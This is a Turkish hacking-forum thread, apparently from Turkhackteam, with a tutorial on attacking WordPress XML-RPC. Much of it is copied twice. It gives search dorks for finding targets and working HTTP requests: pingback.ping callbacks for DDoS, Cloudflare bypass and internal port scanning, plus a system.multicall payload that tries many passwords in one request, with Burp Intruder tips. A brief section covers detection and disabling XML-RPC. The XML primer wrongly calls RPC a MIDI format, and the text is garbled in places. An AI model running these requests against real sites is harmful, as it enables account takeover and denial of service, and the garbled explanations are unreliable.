  <value><string>wp.editProfile</string></value>
  <value><string>wp.getProfile</string></value>
  <value><string>wp.getUsers</string></value>
  <value><string>wp.getUser</string></value>
  <value><string>wp.getTaxonomies</string></value>
  <value><string>wp.getTaxonomy</string></value>
  <value><string>wp.getTerms</string></value>
  <value><string>wp.getTerm</string></value>
  <value><string>wp.deleteTerm</string></value>
  <value><string>wp.editTerm</string></value>
  <value><string>wp.newTerm</string></value>
  <value><string>wp.getPosts</string></value>
  <value><string>wp.getPost</string></value>
  <value><string>wp.deletePost</string></value>
  <value><string>wp.editPost</string></value>
  <value><string>wp.newPost</string></value>
  <value><string>wp.getUsersBlogs</string></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>


- ŞEKLİNDE OLMALIDIR.
Yukarıda SUNDUĞUM örnek yanıtın yokluğunda, iki güvenlik açığının gerçek testine devam etmenin oldukça anlamsız olduğunu unutmayın. Yanıt, WordPress kurulumunun ayarlarına ve yapılandırmalarına bağlı olarak değişebilir.
EĞER Kİ BUNUN İÇİN BİR ÇIKTI VARSA EN AZINDAN
demo.sayHello<methodName>system.listMethods</methodName> ADI VERİLEN EN TEMEL YÖNTMLE ETKİLEŞİME GEÇMESİNİ SAĞLAR
- İSTEME



Kod:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 130

<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>demo.sayHello</methodName>
<params></params>
</methodCall>


- ALDIĞIMIZ CEVAP
Kod:
HTTP/1.1 200 OK
Date: Mon, 01 Jul 2019 17:19:05 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
Connection: close
Vary: Accept-Encoding
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 181
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <string>Hello!</string>
      </value>
    </param>
  </params>
</methodResponse>

XML-RPC geri ping saldırıları​


- Bu durumda SALDIRAN KİŞİ , aşağıdaki amaçlar doğrultusunda geri aramalar gerçekleştirmek için varsayılan XML-RPC API'sinden yararlanabilir
* Dağıtılmış hizmet reddi (DDoS) saldırıları - Bir saldırgan , etkilenen birkaç WordPress kurulumundan pingback.ping yöntemini korumasız tek bir hedefe (botnet düzeyi) karşı yürütür
*
Cloudflare Korumasını Atlatma - Saldırgan, hedefin genel IP'sini ortaya çıkarmak ve böylece hedefin genel IP'sini ortaya çıkarmak için CloudFlare tarafından korunan etkilenen tek bir WordPress kurulumundan saldırgan tarafından kontrol edilen bir genel ana bilgisayara (örneğin bir VPS) pingback.ping yöntemini çalıştırır . herhangi bir DNS düzeyinde koruma.
* XSPA (Siteler Arası Bağlantı Noktası Saldırısı) - Bir saldırgan , etkilenen tek bir WordPress kurulumundan farklı bağlantı noktalarındaki aynı ana bilgisayara (veya diğer dahili/özel ana bilgisayara) pingback.ping yöntemini yürütebilir . Açık bir bağlantı noktası veya dahili bir ana bilgisayar, yanıt süresindeki fark gözlemlenerek ve/veya isteğin yanıtına bakılarak belirlenebilir.
Aşağıda PostBin tarafından sağlanan URL'yi geri arama olarak kullanan basit bir örnek istek gösterilmektedir:

Kod:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 303

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>https://postb.in/1562017983221-4377199190203</string></value>
</param>
<param>
<value><string>https://example.com/</string></value>
</param>
</params>
</methodCall>


ÖRNEK ALDIĞIMIZ YANIT


Kod:
HTTP/1.1 200 OK
Date: Mon, 01 Jul 2019 21:53:56 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
Connection: close
Vary: Accept-Encoding
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 370
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>0</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string></string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>



POSTPİN DURUMU

Screenshot%20from%202019-07-02%2001-03-07.png



GELELİM KABA KUVVET SALDIRISINA

- Bazen, WordPress sitesine yönelik kaba kuvvet saldırısında istek sınırlamayı veya engellemeyi atlamanın tek yolu, tamamen unutulmuş XML-RPC API'sini kullanmaktır .
EN YAYGIN KABA KUVVET SALDRISINI TEMSİL EDEN İSTEK

Kod:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 235

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>\{\{your username\}\}</value></param>
<param><value>\{\{your password\}\}</value></param>
</params>
</methodCall>

Yukarıdaki istek Burp Intruder'da (örneğin) farklı kimlik bilgileriyle gönderilebilir. Şifreyi tahmin etseniz de etmeseniz de yanıt kodunun her zaman 200 olacağını unutmayın . Yanıtın gövdesindeki hataları/mesajları aramanızı şiddetle tavsiye ederim.

Hedefe karşı çok fazla istek göndermekten mi endişeleniyorsunuz? - Endişelenme. WordPress XML-RPC varsayılan olarak bir saldırganın tek bir istek gerçekleştirmesine ve yüzlerce şifreyi kaba kuvvetle kullanmasına olanak tanır.
bu istek hem system.multicall hem de wp.getUsersBlogs yöntemleri için izin gerektirir

Kod:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 1560

<?xml version="1.0"?>
<methodCall><methodName>system.multicall</methodName><params><param><value><array><data>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

</data></array></value></param></params></methodCall>

Yİne yanıtımız böyle gözükecek

Kod:
HTTP/1.1 200 OK
Date: Mon, 01 Jul 2019 23:02:55 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
Connection: close
Vary: Accept-Encoding
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 1043
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

Yukarıdaki örnekte tek bir istek kullanarak 4 farklı kimlik bilgisi setini test ettim. {{ Kullanıcı Adınız }} ve {{ Şifreniz }}'yi kendi kombinasyonlarınızla değiştirmeniz yeterlidir


okuduğunuz için teşşekürler.


kUO2u_cb.webp
Elinize sağlık hocam
 

Speedy Gonzales

Katılımcı Üye
12 Kas 2021
634
296
in every technology system
HERKESE MERHABA TÜRK HACK TEAM AİİLESİ
BUGÜN KONU OLARAK BU KONUYU ALDIM UMARIM BEĞENİRSİNİZ KEYİFLİ OKUMALAR


İlk olarak XML nedir ?
- XML (Extensible Markup Language ya da Türkçesiyle Genişletilebilir İşaretleme Dili (XML), verileri paylaşılabilir bir şekilde tanımlamanıza ve saklamanıza olanak tanır. XML, web siteleri, veri tabanları ve üçüncü taraf uygulamaları gibi bilgisayar sistemleri arasında bilgi alışverişini destekler. Önceden tanımlanmış kurallar, verileri herhangi bir ağ üzerinden XML dosyaları olarak iletmeyi kolaylaştırır, böylece alıcı verileri doğru ve verimli bir şekilde okumak için bu kuralları kullanabilir.


6lsh3ws.jfif


XML AVANTAJLARI NELERDİR ?

-

İşletmeler arası işlemleri destekleyin

Bir şirket başka bir şirkete mal veya hizmet sattığında, iki işletmenin maliyet, teknik özellikler ve teslimat programları gibi bilgileri paylaşması gerekir. Genişletilebilir İşaretleme Dili (XML) ile gerekli tüm bilgileri elektronik olarak paylaşabilir ve herhangi bir insan müdahalesi olmaksızın karmaşık anlaşmaları otomatik olarak gerçekleştirebilirler.

Veri bütünlüğünü koruyun

XML, verilerin açıklamasıyla birlikte verileri aktarmanıza izin vererek veri bütünlüğü kaybını önler. Aşağıdakileri yapmak için bu açıklayıcı bilgileri kullanabilirsiniz:

  • Veri doğruluğunu doğrulama
  • Farklı kullanıcılar için veri sunumunu otomatik olarak özelleştirme
  • Verileri birden çok platformda tutarlı bir şekilde depolama

Arama verimliliğini artırın

Arama motorları gibi bilgisayar programları, XML dosyalarını diğer belge türlerinden daha verimli ve hassas bir şekilde sıralayabilir ve kategorize edebilir. Örneğin, kelime işareti bir isim veya fiil olabilir. Arama motorları, XML etiketlerine dayanarak ilgili arama sonuçları için işareti doğru bir şekilde kategorilere ayırabilir. Böylece XML, bilgisayarların doğal dili daha verimli bir şekilde yorumlamasına yardımcı olur.

Esnek uygulamalar tasarlayın

XML ile uygulama tasarımınızı rahatça yükseltebilir veya değiştirebilirsiniz. Yeniler başta olmak üzere birçok teknoloji, yerleşik XML desteği ile birlikte gelir. Tüm veri tabanınızı yeniden biçimlendirmek zorunda kalmadan değişiklik yapabilmeniz için XML veri dosyalarını otomatik olarak okuyabilir ve işleyebilirler.


XML DOSYASI İÇERİĞİ NELERDİR ?


, .xml uzantısıyla kaydedebileceğiniz metin tabanlı bir belgedir. Diğer metin dosyalarına benzer XML yazabilirsiniz. Bir XML dosyası oluşturmak veya düzenlemek için aşağıdakilerden birini kullanabilirsiniz:

  • Notepad veya Notepad++ gibi metin düzenleyicileri
  • Çevrimiçi XML düzenleyicileri
  • Web tarayıcıları
XML dosyaları aşağıdaki bileşenleri içerir.

XML belgesi

<xml></xml> etiketleri, bir XML dosyasının başlangıcını ve sonunu işaretlemek için kullanılır. Bu etiketlerin içindeki içeriğe de XML belgesi denir. Herhangi bir yazılımın XML kodunu işlemek için arayacağı ilk etikettir.

XML bildirimi

XML belgesi, XML'nin kendisi hakkında bazı bilgilerle başlar. Örneğin takip ettiği XML sürümünden bahsedebilir. Bu açılışa XML bildirimi denir. İşte bir örnek.

<?xml version="1.0" encoding="UTF-8"?>


XML ögeleri

Bir XML belgesi içinde oluşturduğunuz diğer tüm etiketlere XML ögeleri denir. XML ögeleri şu özellikleri içerebilir:

  • Metin
  • Öznitelikler
  • Diğer ögeler
Tüm XML belgeleri, kök ögesi olarak adlandırılan birincil etiketle başlar.

Örneğin, aşağıdaki XML dosyasını göz önünde bulundurun.

Kod:
<InvitationList>

<family>

       <aunt>

       <name>Christine</name>

        <name>Stephanie</name>

       </aunt>

</family>

</InvitationList>

<InvitationList> kök unsurdur; family ve aunt diğer öge isimleridir.

XML öznitelikleri

XML ögeleri, öznitelikler adı verilen başka tanımlayıcılara sahip olabilir. Kendi öznitelik adlarınızı tanımlayabilir ve öznitelik değerlerini aşağıda gösterildiği gibi tırnak işaretleri içinde yazabilirsiniz.

<person age=“22”>


XML içeriği

XML dosyalarındaki verilere de XML içeriği denir. Örneğin, XML dosyasında şu tarz veriler görebilirsiniz.

<friend>

<name>xezua</name>

<name>shaco </name>

</friend>

xezua ve shaco veri değerleri, içeriktir.




PEKİ RCP NEDİR ?

-

RCP dosya uzantısı, Recomposer MIDI Sequencer Müzik formatı için kullanılır. Bu format, Come-On Music'in Recomposer serisi ürünlerinden çıkan bazı sıralayıcılardan üretilmiştir (Bunlar yalnızca Japonya'da ünlüdür).


czn3pcq.png



Bu format Japonya'da çok popüler olduğu için, Standart MIDI dosyası (SMF) yerine bu formata dayalı birçok MIDI dizi verisi mevcuttur. Hatta bu formatla başa çıkabilen bazı özgür yazılım sıralayıcıları bile var.

çok daha fazla uzatmadan kısaca müzik formatıdır.


PEKİ XMLRCP NEDİR <

- En temelinde XmlRpc protokolü içinde xml formatındaki verileri barındırır.
-Forum, web siteleri gibi içeriklerin birbirleri ile etkileşimini kuran bu teknolojisi arka planda http post metodunu kullanır. Bu sayede blog içinde veya farklı bloklar arasında bir veri trafiği oluşur. Ancak bu sırada wp'in pingback özelliğinin kötüye kullanılması sonucundan bu zafiyet ortaya çıkmaktadır.
-Şimdi sitenizde bu açık var mı?


https://website/xmlrpc.php şeklinde sorguladığımızda bize dönen cevap
“XML-RPC server accepts POST requests only” ise bu açığa sahipsiniz demektir.
- Açığın sebep olacağı etkiler nedir?
- İlk olarak bu açığı kullanarak sitenize ddos saldırısı yapılabilmesi mümkün olup sitenizin performansı düşürülecek ve site isteklere cevap veremeyecek hale gelecektir.

- Açıktan faydalanıp sitenize yapılan saldırılar olduysa bunu da /var/log/....acccess.log dosyası altında görebilirsiniz. “POST /xmlrpc.php HTTP/1.0” şeklinde loglar görürseniz daha önce sitenizi ziyarete gelenlerin olduğunu anlayabilirsiniz.

- Açığı nasıl Kapatırız?
birden fazla cevap mevcut. Siteniz içerisinde XMLRPC protolünü kullanmıyor iseniz sizin için iki seçenek mevcut. İlk yöntem WP içine bir eklenti kurmak. Eklentinin adı Disable XML-RPC. Tüm eklentileri WP ara yüzünden Eklenti-Plugins ara yüzünden kurabilirsiniz. Daha sonra etkinleştirme işlemini gerçekleştirebilirsiniz.

- İşlemi yaptıktan sonra https://website/xmlrpc.php sayfasını yeniden çağırdığınızda artık “XML-RPC server accepts POST requests only” sayfası karşınıza gelmiyor ve 404,403, sayfa bulunamadı mesajı alıyorsanız elinize sağlık açığı kapattınız demektir.
- GELELİM SALDIRI YÖNTEMLERİNE

  • XML-RPC pingbacks
  • Brute force attacks via XML-RPC
  • OLMAK ÜZERE 2 YE AYRILMAKTADIR.

PEKİ BU AÇIĞI BULMAK İÇİN DORKLAR NELERDİR ?


  • inurl:"/xmlrpc.php?rsd"+ kapsam kısıtlamaları
  • intitle:"WordPress" inurl:"readme.html"+ kapsam kısıtlamaları = genel wordpress tespiti
  • allinurl:"wp-content/plugins/"+ kapsam kısıtlamaları = genel wordpress tespiti

WordPress'te XML-RPC sunucularını arama:​

Kontrol edilecek adımlar:

  1. Bir WordPress sitesini hedeflediğinizden emin olun.
  2. Dosyaya erişiminiz olduğundan emin olun xmlrpc.php. Genel olarak https :// örneğinde bulunur . com / xmlrpc . php ve bir GET isteğine şu şekilde yanıt verir: https :// örneği . com / xmlrpc . php ve bir GET isteğine şununla cevap verir:XML-RPC server accepts POST requests only.
  3. Devre dışı bırakılmış/kodlanmış/kurcalanmış/çalışmayan bir XML-RPC sunucusunu hedeflemek anlamsız olacaktır. Bu nedenle aşağıdaki isteği göndererek işlevselliğini kontrol edeceğiz:

Gönderi İsteği
Kod:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 135

<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

NORMAL YANIT NASIL OLMALIDIR
-

Kod:
HTTP/1.1 200 OK
Date: dec, 26 Jul 2023 16:13:30 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
Connection: close
Vary: Accept-Encoding
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 4272
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><string>system.multicall</string></value>
  <value><string>system.listMethods</string></value>
  <value><string>system.getCapabilities</string></value>
  <value><string>demo.addTwoNumbers</string></value>
  <value><string>demo.sayHello</string></value>
  <value><string>pingback.extensions.getPingbacks</string></value>
  <value><string>pingback.ping</string></value>
  <value><string>mt.publishPost</string></value>
  <value><string>mt.getTrackbackPings</string></value>
  <value><string>mt.supportedTextFilters</string></value>
  <value><string>mt.supportedMethods</string></value>
  <value><string>mt.setPostCategories</string></value>
  <value><string>mt.getPostCategories</string></value>
  <value><string>mt.getRecentPostTitles</string></value>
  <value><string>mt.getCategoryList</string></value>
  <value><string>metaWeblog.getUsersBlogs</string></value>
  <value><string>metaWeblog.deletePost</string></value>
  <value><string>metaWeblog.newMediaObject</string></value>
  <value><string>metaWeblog.getCategories</string></value>
  <value><string>metaWeblog.getRecentPosts</string></value>
  <value><string>metaWeblog.getPost</string></value>
  <value><string>metaWeblog.editPost</string></value>
  <value><string>metaWeblog.newPost</string></value>
  <value><string>blogger.deletePost</string></value>
  <value><string>blogger.editPost</string></value>
  <value><string>blogger.newPost</string></value>
  <value><string>blogger.getRecentPosts</string></value>
  <value><string>blogger.getPost</string></value>
  <value><string>blogger.getUserInfo</string></value>
  <value><string>blogger.getUsersBlogs</string></value>
  <value><string>wp.restoreRevision</string></value>
  <value><string>wp.getRevisions</string></value>
  <value><string>wp.getPostTypes</string></value>
  <value><string>wp.getPostType</string></value>
  <value><string>wp.getPostFormats</string></value>
  <value><string>wp.getMediaLibrary</string></value>
  <value><string>wp.getMediaItem</string></value>
  <value><string>wp.getCommentStatusList</string></value>
  <value><string>wp.newComment</string></value>
  <value><string>wp.editComment</string></value>
  <value><string>wp.deleteComment</string></value>
  <value><string>wp.getComments</string></value>
  <value><string>wp.getComment</string></value>
  <value><string>wp.setOptions</string></value>
  <value><string>wp.getOptions</string></value>
  <value><string>wp.getPageTemplates</string></value>
  <value><string>wp.getPageStatusList</string></value>
  <value><string>wp.getPostStatusList</string></value>
  <value><string>wp.getCommentCount</string></value>
  <value><string>wp.deleteFile</string></value>
  <value><string>wp.uploadFile</string></value>
  <value><string>wp.suggestCategories</string></value>
  <value><string>wp.deleteCategory</string></value>
  <value><string>wp.newCategory</string></value>
  <value><string>wp.getTags</string></value>
  <value><string>wp.getCategories</string></value>
  <value><string>wp.getAuthors</string></value>
  <value><string>wp.getPageList</string></value>
  <value><string>wp.editPage</string></value>
  <value><string>wp.deletePage</string></value>
  <value><string>wp.newPage</string></value>
  <value><string>wp.getPages</string></value>
  <value><string>wp.getPage</string></value>
  <value><string>wp.editProfile</string></value>
  <value><string>wp.getProfile</string></value>
  <value><string>wp.getUsers</string></value>
  <value><string>wp.getUser</string></value>
  <value><string>wp.getTaxonomies</string></value>
  <value><string>wp.getTaxonomy</string></value>
  <value><string>wp.getTerms</string></value>
  <value><string>wp.getTerm</string></value>
  <value><string>wp.deleteTerm</string></value>
  <value><string>wp.editTerm</string></value>
  <value><string>wp.newTerm</string></value>
  <value><string>wp.getPosts</string></value>
  <value><string>wp.getPost</string></value>
  <value><string>wp.deletePost</string></value>
  <value><string>wp.editPost</string></value>
  <value><string>wp.newPost</string></value>
  <value><string>wp.getUsersBlogs</string></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>


- ŞEKLİNDE OLMALIDIR.
Yukarıda SUNDUĞUM örnek yanıtın yokluğunda, iki güvenlik açığının gerçek testine devam etmenin oldukça anlamsız olduğunu unutmayın. Yanıt, WordPress kurulumunun ayarlarına ve yapılandırmalarına bağlı olarak değişebilir.
EĞER Kİ BUNUN İÇİN BİR ÇIKTI VARSA EN AZINDAN
demo.sayHello<methodName>system.listMethods</methodName> ADI VERİLEN EN TEMEL YÖNTMLE ETKİLEŞİME GEÇMESİNİ SAĞLAR
- İSTEME



Kod:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 130

<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>demo.sayHello</methodName>
<params></params>
</methodCall>


- ALDIĞIMIZ CEVAP
Kod:
HTTP/1.1 200 OK
Date: dec, 26 dec 2023 17:13:30 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
Connection: close
Vary: Accept-Encoding
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 181
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <string>Hello!</string>
      </value>
    </param>
  </params>
</methodResponse>

XML-RPC geri ping saldırıları​


- Bu durumda SALDIRAN KİŞİ , aşağıdaki amaçlar doğrultusunda geri aramalar gerçekleştirmek için varsayılan XML-RPC API'sinden yararlanabilir
* Dağıtılmış hizmet reddi (DDoS) saldırıları - Bir saldırgan , etkilenen birkaç WordPress kurulumundan pingback.ping yöntemini korumasız tek bir hedefe (botnet düzeyi) karşı yürütür
*
Cloudflare Korumasını Atlatma - Saldırgan, hedefin genel IP'sini ortaya çıkarmak ve böylece hedefin genel IP'sini ortaya çıkarmak için CloudFlare tarafından korunan etkilenen tek bir WordPress kurulumundan saldırgan tarafından kontrol edilen bir genel ana bilgisayara (örneğin bir VPS) pingback.ping yöntemini çalıştırır . herhangi bir DNS düzeyinde koruma.
* XSPA (Siteler Arası Bağlantı Noktası Saldırısı) - Bir saldırgan , etkilenen tek bir WordPress kurulumundan farklı bağlantı noktalarındaki aynı ana bilgisayara (veya diğer dahili/özel ana bilgisayara) pingback.ping yöntemini yürütebilir . Açık bir bağlantı noktası veya dahili bir ana bilgisayar, yanıt süresindeki fark gözlemlenerek ve/veya isteğin yanıtına bakılarak belirlenebilir.
Aşağıda PostBin tarafından sağlanan URL'yi geri arama olarak kullanan basit bir örnek istek gösterilmektedir:

Kod:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 303

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>https://postb.in/1562017983221-4377199190203</string></value>
</param>
<param>
<value><string>https://example.com/</string></value>
</param>
</params>
</methodCall>


ÖRNEK ALDIĞIMIZ YANIT


Kod:
HTTP/1.1 200 OK
Date: dec, 26 dec 2023 21:13:30 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
Connection: close
Vary: Accept-Encoding
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 370
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>0</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string></string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>



POSTPİN DURUMU

Screenshot%20from%202019-07-02%2001-03-07.png



GELELİM KABA KUVVET SALDIRISINA

- Bazen, WordPress sitesine yönelik kaba kuvvet saldırısında istek sınırlamayı veya engellemeyi atlamanın tek yolu, tamamen unutulmuş XML-RPC API'sini kullanmaktır .
EN YAYGIN KABA KUVVET SALDRISINI TEMSİL EDEN İSTEK

Kod:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 235

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>\{\{your username\}\}</value></param>
<param><value>\{\{your password\}\}</value></param>
</params>
</methodCall>

Yukarıdaki istek Burp Intruder'da (örneğin) farklı kimlik bilgileriyle gönderilebilir. Şifreyi tahmin etseniz de etmeseniz de yanıt kodunun her zaman 200 olacağını unutmayın . Yanıtın gövdesindeki hataları/mesajları aramanızı şiddetle tavsiye ederim.

Hedefe karşı çok fazla istek göndermekten mi endişeleniyorsunuz? - Endişelenme. WordPress XML-RPC varsayılan olarak bir saldırganın tek bir istek gerçekleştirmesine ve yüzlerce şifreyi kaba kuvvetle kullanmasına olanak tanır.
bu istek hem system.multicall hem de wp.getUsersBlogs yöntemleri için izin gerektirir

Kod:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 1560

<?xml version="1.0"?>
<methodCall><methodName>system.multicall</methodName><params><param><value><array><data>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

</data></array></value></param></params></methodCall>

Yİne yanıtımız böyle gözükecek

Kod:
HTTP/1.1 200 OK
Date:dec, 26 dec 2023 23:02:55 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
Connection: close
Vary: Accept-Encoding
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 1043
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

Yukarıdaki örnekte tek bir istek kullanarak 4 farklı kimlik bilgisi setini test ettim. {{ Kullanıcı Adınız }} ve {{ Şifreniz }}'yi kendi kombinasyonlarınızla değiştirmeniz yeterlidir


okuduğunuz için teşşekürler.


kUO2u_cb.webp
Eline sağlık
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.